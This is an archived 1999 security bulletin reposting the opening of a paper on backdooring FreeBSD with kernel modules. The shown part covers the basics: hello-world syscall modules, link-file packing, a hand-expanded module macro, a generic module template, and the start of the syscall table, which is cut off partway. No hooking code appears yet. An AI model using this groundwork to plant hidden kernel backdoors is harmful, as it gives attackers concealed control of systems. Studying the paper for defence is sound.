Casinos Not On GamstopNon Gamstop CasinosCasinos Not On GamstopOnline Casinos UKNon Gamstop Casino
12th Jul 1999 [SBWID-113]
COMMAND
	    kernel (kernel modules)
SYSTEMS AFFECTED
	    FreeBSD (other BSD systems?)
PROBLEM
	    Following is based on THC and pragmatic's paper "Attacking FreeBSD
	    with Kernel Modules".  FreeBSD  is an often used server  operating
	    system.  Lots of ISPs,  universities and some firms are  using it.
	    This text will show you that most Linux LKMs can be ported to  BSD
	    systems (FreeBSD).   On FreeBSD  we can  even do  some things that
	    were harder to implement on  Linux systems.  This text  only deals
	    with ways to  backdoor/intercept system calls.   For those  people
	    new  to  BSD  and  module  techniques,  please read Complete Linux
	    Loadable Kernel Module' article (http://r3wt.base.org).  Of course
	    this FreeBSD text has a basic  section, but the basic part of  the
	    Linux text is  much more comprehensive  and easier to  understand.
	    The Linux  text will  give you  the basic  ideas for understanding
	    most stuff  mentioned here.   People who  already did  some kernel
	    coding under FreeBSD, who can read and understand kernel code  and
	    those who did some LKM hacking on Linux boxes can read on  without
	    any problems. Bear in  mind that the main  aim of this text  is to
	    show some new ideas to attack/backdoor FreeBSD systems, and not to
	    teach you FreeBSD kernel coding.  All modules were developed on  a
	    FreeBSD  3.1  system  (x86).   Authors  used  the new KLD scheme -
	    introduced by FreeBSD 3.0 - to insert kernel code.  Older  FreeBSD
	    systems which  work with  LKMs (/dev/lkm)  can also  be used,  but
	    there must  be some  modifications to  the code  in order  to make
	    them work.   The general ideas  in this text  should also work  on
	    OpenBSD and NetBSD.   The problem concerning  FreeBSD is the  lack
	    of documentation.  There is only  a very small and elite group  of
	    programmers working on  the kernel.   At the time  of writing (May
	    '99) authors were not able to find any good documentation  helping
	    to dive deep into the kernel.   Because of this there may be  some
	    minor errors in some explainations given, but every piece of  code
	    is working and the general view should be correct.
	    Before starting to explain here's a module example which  installs
	    a system  call that  will print  a simple  message on  the screen.
	    (included the user space part).  You may know this example, it was
	    taken from the FreeBSD distribution (only added some comments).
	
	    #include <sys/types.h>
	    #include <sys/param.h>
	    #include <sys/proc.h>
	    #include <sys/module.h>
	    #include <sys/sysent.h>
	    #include <sys/kernel.h>
	    #include <sys/systm.h>
	    /*this is the function which represents our system call*/
	    static int
	    hello (struct proc *p, void *arg)
	    {
	     printf ("hello kernel\n");
	     return 0;
	    }
	    /*on FreeBSD every system call is described by a sysent structure, which holds
	    the corresponding system call function (here hello) and the appropriate count
	    of arguments (here 0)*/
	    static struct sysent hello_sysent = {
	     0,			/* sy_narg */
	     hello			/* sy_call */
	    };
	    /*every system call has a certain number (called slot or offset on BSD). This
	    number represents the index in the global sysent list holding every syscall.
	    BSD is able to search a free slot for a syscall (by setting it to NO_SYSCALL)
	    which is used here.*/
	    static int offset = NO_SYSCALL;
	    /*this function can be compared to the init_module & cleanup_module functions
	    on Linux. The differentiation is done via the cmd variable.*/
	    static int
	    load (struct module *module, int cmd, void *arg)
	    {
	     int error = 0;
	     /*what do we have?*/
	     switch (cmd) {
	     /*we have a load*/
	     case MOD_LOAD :
	      printf ("syscall loaded at %d\n", offset);
	     break;
	     /*we have an unload*/
	     case MOD_UNLOAD :
	      printf ("syscall unloaded from %d\n", offset);
	     break;
	     default :
	      error = EINVAL;
	     break;
	     }
	     return error;
	    }
	    /*This is the most tricky part of this module. That macro will install the
	    module and calls the required functions. We will take a deeper look at this
	    later.*/
	    SYSCALL_MODULE(syscall, &offset, &hello_sysent, load, NULL);
	
	    Compiling this  module is  very easy  on FreeBSD.  We just  use an
	    universal Makefile which is very easy because of the nice MK files
	    used by FreeBSD (BSD).  Here we go:
	
	    SRCS	= helloworld.c
	    KMOD	= helloworld
	    KO	= ${KMOD}.ko
	    KLDMOD	= t
	    .include <bsd.kmod.mk>
	
	    Aren't those MK  file a good  idea.  So  after comiling you  get a
	    file called helloworld.ko. This file is in ELF format (so no  pure
	    object  file).   Take  a  look  at  the FreeBSD user space example
	    calling this system call.
	
	    #include <stdio.h>
	    #include <sys/syscall.h>
	    #include <sys/types.h>
	    #include <sys/module.h>
	    int
	    main(int argc, char **argv)
	    {
	     char *endptr;
	     int syscall_num;
	     struct module_stat stat;
	     stat.version = sizeof(stat);
	     /*modstat will retrieve the module_stat structure for our module named
	       syscall (see the SYSCALL_MODULE macro which sets the name to syscall)*/
	     modstat(modfind("syscall"), &stat);
	     /*extract the slot (syscall) number*/
	     syscall_num = stat.data.intval;
	     /*and call it without any arguments (because we didn't include support for
	       arguments*/
	     return syscall (syscall_num);
	    }
	
	    You can  compile this  the following  way (it's  too easy to waste
	    time with a Makefile):
	
	        # gcc -o call call.c
	
	    Now you have a working module which will install a system call you
	    can call from user space with  this little call program.  You  can
	    load the module with
	
	        # kldload ./helloworld.ko
	
	    and unload with
	
	        # kldunlod helloworld
	
	    with
	
	        # kldstat
	
	    you will get a  list of loaded link  files (NOT modules).   Before
	    reading on, you  should understand the  global scheme used  in the
	    sources presented here.
	    There is a big difference between the output presented by  kldstat
	    and the loaded modules. A module on FreeBSD means some part of the
	    kernel, an exec driver, a  system call module, a device  driver...
	    The kernel itself contains some modules (FS support for  example).
	    A link file on  the other hand is  something like a wrapper  which
	    can hold lots of modules. So our helloworld example from above  is
	    one module wrapped in the link file helloworld.ko.  So in  general
	    words:   A module  is just  a bit  of structured  kernel code that
	    represents a certain driver (exec format, device, for example)  or
	    whatever.  A link file is just a file holding one or more  modules
	    which will be  inserted into the  kernel.  For  those who want  to
	    know it  exactly; here  is the  definition by  Doug Rabson: Kernel
	    Linker.  The kernel linker simply dynamically loads code into  the
	    kernel. A symbol table is included  in the kernel by ld(1) in  the
	    same way as  for dynamically linked  user programs.   As files are
	    loaded,  the  code  is  relocated  and  any unresolved symbols are
	    matched against the kernel's symbol table.  Files can also include
	    a list of  dependencies to allow  code which is  common to several
	    files  to  be  loaded  automatically.   The  kernel can load files
	    without help  from a  user program  (in contrast  to the older LKM
	    system) and the kernel bootstrap can also pre-load files, allowing
	    devices  which  needed  before  the  root  disk is available to be
	    dynamically loaded instead of  statically linked into the  kernel.
	    As code is loaded, any SYSINITs  which it contains are run.   This
	    makes it possible to write  code which is identical whether  it is
	    statically  or  dynamically  loaded.  When  a  file is unloaded, a
	    similar list of functions defined by SYSUNINIT is run.
	    Layered on top of the kernel linker is the module system.  It uses
	    a SYSINIT  to implement  a simple  event system  for code which is
	    loaded.  The idea is that a piece of code defines a module  (using
	    DECLARE_MODULE) and supplies  a handler routine.   The handler  is
	    called  at  load,  unload  and  shutdown  to  allow  the module to
	    initialise  itself.  Various  kernel  subsystems  provide  generic
	    handler functions for registering filesystems, devices or whatever
	    and  they  generally  provide  a  macro which wraps DECLARE_MODULE
	    (e.g. VFS_SET).
	    This example is just a proof of concept. It shows how to pack  two
	    modules  in  one  file  using  the  linker mechanics (two SYSINITs
	    wrapped by SYSCALL_MODULE macro).
	
	    #include <sys/types.h>
	    #include <sys/param.h>
	    #include <sys/proc.h>
	    #include <sys/module.h>
	    #include <sys/sysent.h>
	    #include <sys/kernel.h>
	    #include <sys/systm.h>
	    /*this is the function our first syscall module (syscall_1) will use*/
	    static int
	    hello_1 (struct proc *p, void *arg)
	    {
	     printf ("hello kernel from syscall_1\n");
	     return 0;
	    }
	    /*this is the function our second syscall module (syscall_2) will use*/
	    static int
	    hello_2 (struct proc *p, void *arg)
	    {
	     printf ("hello kernel from syscall_2\n");
	     return 0;
	    }
	    /*first sysent structure which describes the first system call*/
	    static struct sysent hello_sysent_1 = {
	     0,			/* sy_narg */
	     hello_1		/* sy_call */
	    };
	    /*second sysent structure which describes the second system call*/
	    static struct sysent hello_sysent_2 = {
	     0,			/* sy_narg */
	     hello_2		/* sy_call */
	    };
	    /*both system call slots (numbers) should be selected by the kernel*/
	    static int offset_1 = NO_SYSCALL;
	    static int offset_2 = NO_SYSCALL;
	    /*the two load functions*/
	    static int
	    load_1 (struct module *module, int cmd, void *arg)
	    {
	     int error = 0;
	     switch (cmd) {
	     case MOD_LOAD :
		    printf ("syscall_1 loaded at %d\n", offset_1);
		    break;
	     case MOD_UNLOAD :
		    printf ("syscall_1 unloaded from %d\n", offset_1);
		    break;
	     default :
		    error = EINVAL;
	            break;
	     }
	     return error;
	    }
	    static int
	    load_2 (struct module *module, int cmd, void *arg)
	    {
	     int error = 0;
	     switch (cmd) {
	     case MOD_LOAD :
		    printf ("syscall_2 loaded at %d\n", offset_2);
		    break;
	     case MOD_UNLOAD :
		    printf ("syscall_2 unloaded from %d\n", offset_2);
		    break;
	     default :
		    error = EINVAL;
		    break;
	     }
	     return error;
	    }
	    /*install the first module (NAME : syscall_1)*/
	    SYSCALL_MODULE(syscall_1, &offset_1, &hello_sysent_1, load_1, NULL);
	    /*install the second module (NAME : syscall_2)*/
	    SYSCALL_MODULE(syscall_2, &offset_2, &hello_sysent_2, load_2, NULL);
	
	    You can use the same Makefile for the link file above.  As you can
	    see  author  duplicated  every  item  in  this  file.  This way he
	    implemented two  totally independend  modules packed  in one  link
	    file.  The name of the first module is 'syscall_1' and the  second
	    module's name is 'syscall_2'.  The following piece of code is  the
	    needed user space part which will find both modules and call their
	    system calls.
	
	    #include <stdio.h>
	    #include <sys/syscall.h>
	    #include <sys/types.h>
	    #include <sys/module.h>
	    int
	    main(int argc, char **argv)
	    {
	     char *endptr;
	     int syscall_num;
	     struct module_stat stat;
	     /*first module*/
	     stat.version = sizeof(stat);
	     modstat(modfind("syscall_1"), &stat);
	     syscall_num = stat.data.intval;
	     syscall (syscall_num);
	     /*second module*/
	     stat.version = sizeof(stat);
	     modstat(modfind("syscall_2"), &stat);
	     syscall_num = stat.data.intval;
	     syscall (syscall_num);
	    }
	
	    After this example  you should understand  the concept of  packing
	    modules in link files.
	    Those without  a going  C and  BSD knowledge  have to 'fight' with
	    this part.  This  section is only a  very brief and not  very deep
	    introduction into  the module  / link  file handling  made by  the
	    kernel, but it is enough to understand the rest of this text.  The
	    following code represents the  helloworld example in a  form where
	    author  'resolved'  the  SYSCALL_MODULE  macro.   He  just   coded
	    everything  by  hand  (only  the  last part [SYSCALL_MODULE macro]
	    changed) so things become clearer:
	
	    #include <sys/types.h>
	    #include <sys/param.h>
	    #include <sys/proc.h>
	    #include <sys/module.h>
	    #include <sys/sysent.h>
	    #include <sys/kernel.h>
	    #include <sys/systm.h>
	    static int
	    hello (struct proc *p, void *arg)
	    {
	     printf ("hello kernel from syscall_1\n");
	     return 0;
	    }
	    static struct sysent hello_sysent = {
	     0,		/* sy_narg */
	     hello		/* sy_call */
	    };
	    static int offset = NO_SYSCALL;
	    static int
	    load (struct module *module, int cmd, void *arg)
	    {
	     int error = 0;
	     switch (cmd) {
	     case MOD_LOAD :
	 	    printf ("syscall loaded at %d\n", offset);
		    break;
	     case MOD_UNLOAD :
		    printf ("syscall unloaded from %d\n", offset);
		    break;
	     default :
		    error = EINVAL;
		    break;
	     }
	     return error;
	    }
	    /*The following lines do the same as :
	    --------------------------------------
	    SYSCALL_MODULE(syscall, &offset, &hello_sysent, load, NULL);
	    */
	    /*fill the X_syscall_mod structure made only for syscall modules*/
	    static struct syscall_module_data syscall_syscall_mod = {
	     load, NULL, &offset, &hello_sysent
	    };
	    /*fill the module structure; the same for any module*/
	    static moduledata_t syscall_mod = {
	     "syscall",
	     syscall_module_handler,   /*special handler for syscall modules*/
	     &syscall_syscall_mod      /*speciel syscall module data*/
	    };
	    /*the sysinit structure for starting / registering*/
	    static struct sysinit syscall_sys_init = {
	     SI_SUB_DRIVERS,         /*SUBSYSTEM*/
	     SI_ORDER_MIDDLE,        /*ORDER*/
	     module_register_init,   /*the same for any module, register function*/
	     &syscall_mod            /*module specific data*/
	    };
	    /*we want hack at this layer, it just initializing some regions*/
	    static void const * const
	    __set_sysinit_set_sym_syscall_sys_init=&syscall_sys_init;
	    __asm(".section .set.""sysinit_set"",\"aw\"");
	    __asm(".long " "syscall_sys_init");
	    __asm(".previous");
	
	    Now let's start from the  kldload command which is implemented  as
	    a system call in kern_linker.c. This system call first checks  the
	    securelevel (if > 0 then it  won't work) after this it will  check
	    for  UID=0.   Then  the  kernel  checks  whether this link file is
	    already loaded, if so it will abort.  If everything is ok so  far,
	    it will call linker_load_file (kern_linker.c).  After some  checks
	    this function  will fill  a linker_file  structure and  pass it to
	    linker_file_sysinit (kern_linker.c).   This function will  use the
	    syscall_sysinit_set   structure    (see   example    above)    for
	    initialization.  That structure is defined in kernel.h.   Normally
	    it is  defined by  macros (we  used the  hand-made approach to see
	    things clear). Here is the structure:
	
	    struct sysinit {
		    unsigned int	subsystem;		/* subsystem identifier*/
		    unsigned int	order;			/* init order within subsystem*/
		    void		(*func) __P((void *));	/* init function*/
		    void		*udata;			/* multiplexer/argument */
	    	si_elem_t	type;			/* sysinit_elem_type*/
	    };
	
	    The type field is  set automatically so author  did not set it  by
	    hand.  The subsystem and order codes are also defined in kernel.h.
	    The  function  pointer  points  to  a  function  that is called at
		module startup with  udata as parameter.   As you can  see in  the
	    example  above  the  module_register_init function (kern_module.c)
	    is  called  with  the  module  data  structure  holding the module
	    specific data.   So our  next step  must be  this function.   This
	    function extracts the data from  the argument it gets (the  module
	    data  structure).    After  this   the  module_register   function
	    (kern_module.c) is called with the extracted data.  This  function
	    first sets some fields of  the module structure (represented by  a
	    pointer to  it called  module_t) which  is used  by the  kernel to
	    descibe any loaded module.   After setting every field the  module
	    (represented by the now filled  module structure) is added to  the
	    global module list (called  modules).  For a  better understanding
	    her's the module structure here plus a short description:
	
	    struct module {
	     /*the first two entries are just for global module handling*/
	     TAILQ_ENTRY(module) link;
	     TAILQ_ENTRY(module) flink;
	     /*this linker_file structure describes the link file the module comes from*/
	     struct linker_file* file;
	     /*references to this module (reference cound)*/
	     int refs;
	     /*id of this module*/
	     int id;
	     /*name of this module*/
	     char *name;
	     /*the mod handler (in our case the load function)*/
	     modeventhand_t handler;
	     /*arguments to the mod handler*/
	     void *arg;
	     /*some - for us not very interesting - data fields*/
	     modspecific_t data;
	    }
	
	    Finally  the  module_register  function  calls  the modeventhand_t
	    field   of   the   module   structure   (in   our   case   :   the
	    syscall_module_handler)  with  the   MOD_LOAD  command  (cmd   see
	    example) argument.  This  function is defined in  kern_syscalls.c.
	    On MOD_LOAD it  calls syscall_register (kern_syscalls.c)  with the
	    new  sysentry  and  other  stuff  needed for installing the system
	    call.   So let's  say that  syscall_register installed  the system
	    call and  returns (this  stuff is  not so  interesting for  us, we
	    will use a more easy way to 'hack' system calls).  The last  piece
	    of  code  in  syscall_module_handler  calls  the self-defined load
	    function (see  example) with  the same  command field  (on startup
	    MOD_LOAD).  This way  the module developer is  able to do his  own
	    stuff on LOAD and UNLOAD.  Now we are ready. The module is  loaded
	    and started, and  the system call  is installed. Recall  that this
	    example  was  written  for  a  specific module - a SYSCALL_MODULE.
	    There are other module types  (like device drivers etc.).   Please
	    read the Kernel sources again  and again and compare them  to this
	    part.  Everything should be clear.
	    As  said  before  the  helloworld  example  module is a special so
	    called SYSCALL_MODULE  that is  used to  install a  certain system
	    call.   FreeBSD  provides  other  macros  and  module  layouts for
	    different  aims.   Take  a  look  at  the  driver  example that is
	    shipped with FreeBSD.   The next section  will show how  to become
	    independent from those standard module layouts.
	    With FreeBSD 3.x the KLD scheme provides no MISC_MODULES like  the
	    LKM one did.  So first  modules (like a hide module etc.)  did the
	    hacking part, but also installed a system call  (SYSCALL_MODULES).
	    This was no good solution.  So author decided to create a  general
	    module layout which will do the same like the old MISC_MODULES  on
	    LKM systems: just  call a 'load'  function and nothing  else.  The
	    following piece of code  represents a MISC_MODULE for  FreeBSD 3.x
	    systems using the KLD method:
	
	    #include <sys/types.h>
	    #include <sys/param.h>
	    #include <sys/proc.h>
	    #include <sys/module.h>
	    #include <sys/sysent.h>
	    #include <sys/kernel.h>
	    #include <sys/systm.h>
	    #include <sys/linker.h>
	    #include <sys/sysproto.h>
	    #include <sys/sysent.h>
	    #include <sys/proc.h>
	    #include <sys/syscall.h>
	    /*our own 'load' function*/
	    static int
	    dummy_handler(struct module *mod, int what, void *arg)
	    {
	     switch(what)
	     {
	      case MOD_LOAD :
	       printf("LOAD\n");
	      break;
	      case MOD_UNLOAD :
	       printf("UNLOAD\n");
	      break;
	     }
	     return 0;
	    }
	    /*NOTE : The following stuff 'links' our module into the kernel and calls
	             dummy_handler as our installation routine. I didn't use any macro
	             supplied by some header file for making module coding a bit easier.
	             But this way you will see every piece of code responsible for loading
	             the module.
	    */
	    /*fill the module structure*/
	    static moduledata_t dummy_mod = {
	     "dummy",
	     dummy_handler,           /*normally you would find something like
	                                syscall_module_handler here*/
	     NULL                     /*normally you would find something like
	                                syscall_module_data here (argument for the
	                                syscall_module_handler)*/
	    };
	    /*the rest is the same*/
	    static struct sysinit syscall_sys_init = {
	     SI_SUB_DRIVERS,         /*SUBSYSTEM*/
	     SI_ORDER_MIDDLE,        /*ORDER*/
	     module_register_init,   /*the same for any module*/
	     &dummy_mod            /*data*/
	    };
	    /*We can leave this the same, it will work without modification...*/
	    static void const * const
	    __set_sysinit_set_sym_syscall_sys_init=&syscall_sys_init;
	    __asm(".section .set.""sysinit_set"",\"aw\"");
	    __asm(".long " "syscall_sys_init");
	    __asm(".previous");
	
	    Compile this module  and load it.   The only thing  it will do  is
	    printing a string on load and  unload.  The module above is  a bit
	    too  long  for  everyday  coding,  so  it's  good to use one macro
	    defined by  the system  which will  make the  module a bit shorter
	    but acting the same way.  Replace the last lines with
	
	    ...
	    static moduledata_t dummy_mod = {
	     "dummy",
	     dummy_handler,
	     NULL
	    };
	    DECLARE_MODULE(dummy, dummy_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
	
	    Now our module is quite short and works like a MISC_MODULE on  LKM
	    systems.  Any code we want  to execute on the kernel layer  can be
	    written into the dummy_handler function.
	    Linux  LKM  article  did  a  quite  good job in explaining the way
	    system calls in general work.  The following list represents every
	    system call that is present by startup on a FreeBSD 3.1 system:
	
	    struct sysent sysent[] = {
		    { 0, (sy_call_t *)nosys },			/* 0 = syscall */
		    { 1, (sy_call_t *)exit },			/* 1 = exit */
		    { 0, (sy_call_t *)fork },			/* 2 = fork */
		    { 3, (sy_call_t *)read },			/* 3 = read */
		    { 3, (sy_call_t *)write },			/* 4 = write */
		    { 3, (sy_call_t *)open },			/* 5 = open */
		    { 1, (sy_call_t *)close },			/* 6 = close */
		    { 4, (sy_call_t *)wait4 },			/* 7 = wait4 */
		    { compat(2,creat) },		/* 8 = old creat */
		    { 2, (sy_call_t *)link },			/* 9 = link */
		    { 1, (sy_call_t *)unlink },			/* 10 = unlink */
		    { 0, (sy_call_t *)nosys },			/* 11 = obsolete execv */
		    { 1, (sy_call_t *)chdir },			/* 12 = chdir */
		    { 1, (sy_call_t *)fchdir },			/* 13 = fchdir */
		    { 3, (sy_call_t *)mknod },			/* 14 = mknod */
		    { 2, (sy_call_t *)chmod },			/* 15 = chmod */
		    { 3, (sy_call_t *)chown },			/* 16 = chown */
		    { 1, (sy_call_t *)obreak },			/* 17 = break */
		    { 3, (sy_call_t *)getfsstat },			/* 18 = getfsstat */
		    { compat(3,lseek) },		/* 19 = old lseek */
		    { 0, (sy_call_t *)getpid },			/* 20 = getpid */
		    { 4, (sy_call_t *)mount },			/* 21 = mount */
		    { 2, (sy_call_t *)unmount },			/* 22 = unmount */
		    { 1, (sy_call_t *)setuid },			/* 23 = setuid */
		    { 0, (sy_call_t *)getuid },			/* 24 = getuid */
		    { 0, (sy_call_t *)geteuid },			/* 25 = geteuid */
		    { 4, (sy_call_t *)ptrace },			/* 26 = ptrace */
		    { 3, (sy_call_t *)recvmsg },			/* 27 = recvmsg */
		    { 3, (sy_call_t *)sendmsg },			/* 28 = sendmsg */
		    { 6, (sy_call_t *)recvfrom },			/* 29 = recvfrom */
		    { 3, (sy_call_t *)accept },			/* 30 = accept */
		    { 3, (sy_call_t *)getpeername },		/* 31 = getpeername */
		    { 3, (sy_call_t *)getsockname },		/* 32 = getsockname */
		    { 2, (sy_call_t *)access },			/* 33 = access */
		    { 2, (sy_call_t *)chflags },			/* 34 = chflags */
		    { 2, (sy_call_t *)fchflags },			/* 35 = fchflags */
		    { 0, (sy_call_t *)sync },			/* 36 = sync */
		    { 2, (sy_call_t *)kill },			/* 37 = kill */
		    { compat(2,stat) },		/* 38 = old stat */
		    { 0, (sy_call_t *)getppid },			/* 39 = getppid */
		    { compat(2,lstat) },		/* 40 = old lstat */
		    { 1, (sy_call_t *)dup },			/* 41 = dup */
		    { 0, (sy_call_t *)pipe },			/* 42 = pipe */
		    { 0, (sy_call_t *)getegid },			/* 43 = getegid */
		    { 4, (sy_call_t *)profil },			/* 44 = profil */
		    { 4, (sy_call_t *)ktrace },			/* 45 = ktrace */
		    { 3, (sy_call_t *)sigaction },			/* 46 = sigaction */
		    { 0, (sy_call_t *)getgid },			/* 47 = getgid */
		    { 2, (sy_call_t *)sigprocmask },		/* 48 = sigprocmask */
		    { 2, (sy_call_t *)getlogin },			/* 49 = getlogin */
		    { 1, (sy_call_t *)setlogin },			/* 50 = setlogin */
		    { 1, (sy_call_t *)acct },			/* 51 = acct */
		    { 0, (sy_call_t *)sigpending },			/* 52 = sigpending */
		    { 2, (sy_call_t *)sigaltstack },		/* 53 = sigaltstack */
		    { 3, (sy_call_t *)ioctl },			/* 54 = ioctl */
		    { 1, (sy_call_t *)reboot },			/* 55 = reboot */
		    { 1, (sy_call_t *)revoke },			/* 56 = revoke */
		    { 2, (sy_call_t *)symlink },			/* 57 = symlink */
		    { 3, (sy_call_t *)readlink },			/* 58 = readlink */
		    { 3, (sy_call_t *)execve },			/* 59 = execve */
		    { 1, (sy_call_t *)umask },			/* 60 = umask */
		    { 1, (sy_call_t *)chroot },			/* 61 = chroot */
		    { compat(2,fstat) },		/* 62 = old fstat */
		    { compat(4,getkerninfo) },		/* 63 = old getkerninfo */
		    { compat(0,getpagesize) },		/* 64 = old getpagesize */
		    { 3, (sy_call_t *)msync },			/* 65 = msync */
		    { 0, (sy_call_t *)vfork },			/* 66 = vfork */
		    { 0, (sy_call_t *)nosys },			/* 67 = obsolete vread */
		    { 0, (sy_call_t *)nosys },			/* 68 = obsolete vwrite */
		    { 1, (sy_call_t *)sbrk },			/* 69 = sbrk */
		    { 1, (sy_call_t *)sstk },			/* 70 = sstk */
		    { compat(6,mmap) },		/* 71 = old mmap */
		    { 1, (sy_call_t *)ovadvise },			/* 72 = vadvise */
		    { 2, (sy_call_t *)munmap },			/* 73 = munmap */
		    { 3, (sy_call_t *)mprotect },			/* 74 = mprotect */
		    { 3, (sy_call_t *)madvise },			/* 75 = madvise */
		    { 0, (sy_call_t *)nosys },			/* 76 = obsolete vhangup */
		    { 0, (sy_call_t *)nosys },			/* 77 = obsolete vlimit */
		    { 3, (sy_call_t *)mincore },			/* 78 = mincore */
		    { 2, (sy_call_t *)getgroups },			/* 79 = getgroups */
		    { 2, (sy_call_t *)setgroups },			/* 80 = setgroups */
		    { 0, (sy_call_t *)getpgrp },			/* 81 = getpgrp */
		    { 2, (sy_call_t *)setpgid },			/* 82 = setpgid */
		    { 3, (sy_call_t *)setitimer },			/* 83 = setitimer */
		    { compat(0,wait) },		/* 84 = old wait */
		    { 1, (sy_call_t *)swapon },			/* 85 = swapon */
		    { 2, (sy_call_t *)getitimer },			/* 86 = getitimer */
		    { compat(2,gethostname) },		/* 87 = old gethostname */
		    { compat(2,sethostname) },		/* 88 = old sethostname */
		    { 0, (sy_call_t *)getdtablesize },		/* 89 = getdtablesize */
		    { 2, (sy_call_t *)dup2 },			/* 90 = dup2 */
		    { 0, (sy_call_t *)nosys },			/* 91 = getdopt */
		    { 3, (sy_call_t *)fcntl },			/* 92 = fcntl */
		    { 5, (sy_call_t *)select },			/* 93 = select */
		    { 0, (sy_call_t *)nosys },			/* 94 = setdopt */
		    { 1, (sy_call_t *)fsync },			/* 95 = fsync */
		    { 3, (sy_call_t *)setpriority },		/* 96 = setpriority */
		    { 3, (sy_call_t *)socket },			/* 97 = socket */
		    { 3, (sy_call_t *)connect },			/* 98 = connect */
		    { compat(3,accept) },		/* 99 = old accept */
		    { 2, (sy_call_t *)getpriority },		/* 100 = getpriority */
		    { compat(4,send) },		/* 101 = old send */
		    { compat(4,recv) },		/* 102 = old recv */
		    { 1, (sy_call_t *)sigreturn },			/* 103 = sigreturn */
		    { 3, (sy_call_t *)bind },			/* 104 = bind */
		    { 5, (sy_call_t *)setsockopt },			/* 105 = setsockopt */
		    { 2, (sy_call_t *)listen },			/* 106 = listen */
		    { 0, (sy_call_t *)nosys },			/* 107 = obsolete vtimes */
		    { compat(3,sigvec) },		/* 108 = old sigvec */
		    { compat(1,sigblock) },		/* 109 = old sigblock */
		    { compat(1,sigsetmask) },		/* 110 = old sigsetmask */
		    { 1, (sy_call_t *)sigsuspend },			/* 111 = sigsuspend */
		    { compat(2,sigstack) },		/* 112 = old sigstack */
		    { compat(3,recvmsg) },		/* 113 = old recvmsg */
		    { compat(3,sendmsg) },		/* 114 = old sendmsg */
		    { 0, (sy_call_t *)nosys },			/* 115 = obsolete vtrace */
		    { 2, (sy_call_t *)gettimeofday },		/* 116 = gettimeofday */
		    { 2, (sy_call_t *)getrusage },			/* 117 = getrusage */
		    { 5, (sy_call_t *)getsockopt },			/* 118 = getsockopt */
		    { 0, (sy_call_t *)nosys },			/* 119 = resuba */
		    { 3, (sy_call_t *)readv },			/* 120 = readv */
		    { 3, (sy_call_t *)writev },			/* 121 = writev */
		    { 2, (sy_call_t *)settimeofday },		/* 122 = settimeofday */
		    { 3, (sy_call_t *)fchown },			/* 123 = fchown */
		    { 2, (sy_call_t *)fchmod },			/* 124 = fchmod */
		    { compat(6,recvfrom) },		/* 125 = old recvfrom */
		    { 2, (sy_call_t *)setreuid },			/* 126 = setreuid */
		    { 2, (sy_call_t *)setregid },			/* 127 = setregid */
		    { 2, (sy_call_t *)rename },			/* 128 = rename */
		    { compat(2,truncate) },		/* 129 = old truncate */
		    { compat(2,ftruncate) },		/* 130 = old ftruncate */
		    { 2, (sy_call_t *)flock },			/* 131 = flock */
		    { 2, (sy_call_t *)mkfifo },			/* 132 = mkfifo */
		    { 6, (sy_call_t *)sendto },			/* 133 = sendto */
		    { 2, (sy_call_t *)shutdown },			/* 134 = shutdown */
		    { 4, (sy_call_t *)socketpair },			/* 135 = socketpair */
		    { 2, (sy_call_t *)mkdir },			/* 136 = mkdir */
		    { 1, (sy_call_t *)rmdir },			/* 137 = rmdir */
		    { 2, (sy_call_t *)utimes },			/* 138 = utimes */
		    { 0, (sy_call_t *)nosys },			/* 139 = obsolete 4.2 sigreturn */
		    { 2, (sy_call_t *)adjtime },			/* 140 = adjtime */
		    { compat(3,getpeername) },		/* 141 = old getpeername */
		    { compat(0,gethostid) },		/* 142 = old gethostid */
		    { compat(1,sethostid) },		/* 143 = old sethostid */
		    { compat(2,getrlimit) },		/* 144 = old getrlimit */
		    { compat(2,setrlimit) },		/* 145 = old setrlimit */
		    { compat(2,killpg) },		/* 146 = old killpg */
		    { 0, (sy_call_t *)setsid },			/* 147 = setsid */
		    { 4, (sy_call_t *)quotactl },			/* 148 = quotactl */
		    { compat(0,quota) },		/* 149 = old quota */
		    { compat(3,getsockname) },		/* 150 = old getsockname */
		    { 0, (sy_call_t *)nosys },			/* 151 = sem_lock */
		    { 0, (sy_call_t *)nosys },			/* 152 = sem_wakeup */
		    { 0, (sy_call_t *)nosys },			/* 153 = asyncdaemon */
		    { 0, (sy_call_t *)nosys },			/* 154 = nosys */
		    { 2, (sy_call_t *)nosys },			/* 155 = nfssvc */
		    { compat(4,getdirentries) },		/* 156 = old getdirentries */
		    { 2, (sy_call_t *)statfs },			/* 157 = statfs */
		    { 2, (sy_call_t *)fstatfs },			/* 158 = fstatfs */
		    { 0, (sy_call_t *)nosys },			/* 159 = nosys */
		    { 0, (sy_call_t *)nosys },			/* 160 = nosys */
		    { 2, (sy_call_t *)nosys },			/* 161 = getfh */
		    { 2, (sy_call_t *)getdomainname },		/* 162 = getdomainname */
		    { 2, (sy_call_t *)setdomainname },		/* 163 = setdomainname */
		    { 1, (sy_call_t *)uname },			/* 164 = uname */
		    { 2, (sy_call_t *)sysarch },			/* 165 = sysarch */
		    { 3, (sy_call_t *)rtprio },			/* 166 = rtprio */
		    { 0, (sy_call_t *)nosys },			/* 167 = nosys */
		    { 0, (sy_call_t *)nosys },			/* 168 = nosys */
		    { 5, (sy_call_t *)semsys },			/* 169 = semsys */
		    { 6, (sy_call_t *)msgsys },			/* 170 = msgsys */
		    { 4, (sy_call_t *)shmsys },			/* 171 = shmsys */
		    { 0, (sy_call_t *)nosys },			/* 172 = nosys */
		    { 0, (sy_call_t *)nosys },			/* 173 = nosys */
		    { 0, (sy_call_t *)nosys },			/* 174 = nosys */
		    { 0, (sy_call_t *)nosys },			/* 175 = nosys */
		    { 1, (sy_call_t *)ntp_adjtime },		/* 176 = ntp_adjtime */
		    { 0, (sy_call_t *)nosys },			/* 177 = sfork */
		    { 0, (sy_call_t *)nosys },			/* 178 = getdescriptor */
		    { 0, (sy_call_t *)nosys },			/* 179 = setdescriptor */
		    { 0, (sy_call_t *)nosys },			/* 180 = nosys */
		    { 1, (sy_call_t *)setgid },			/* 181 = setgid */
		    { 1, (sy_call_t *)setegid },			/* 182 = setegid */
		    { 1, (sy_call_t *)seteuid },			/* 183 = seteuid */
		    { 0, (sy_call_t *)nosys },			/* 184 = lfs_bmapv */
		    { 0, (sy_call_t *)nosys },			/* 185 = lfs_markv */
		    { 0, (sy_call_t *)nosys },			/* 186 = lfs_segclean */
		    { 0, (sy_call_t *)nosys },			/* 187 = lfs_segwait */
		    { 2, (sy_call_t *)stat },			/* 188 = stat */
		    { 2, (sy_call_t *)fstat },			/* 189 = fstat */
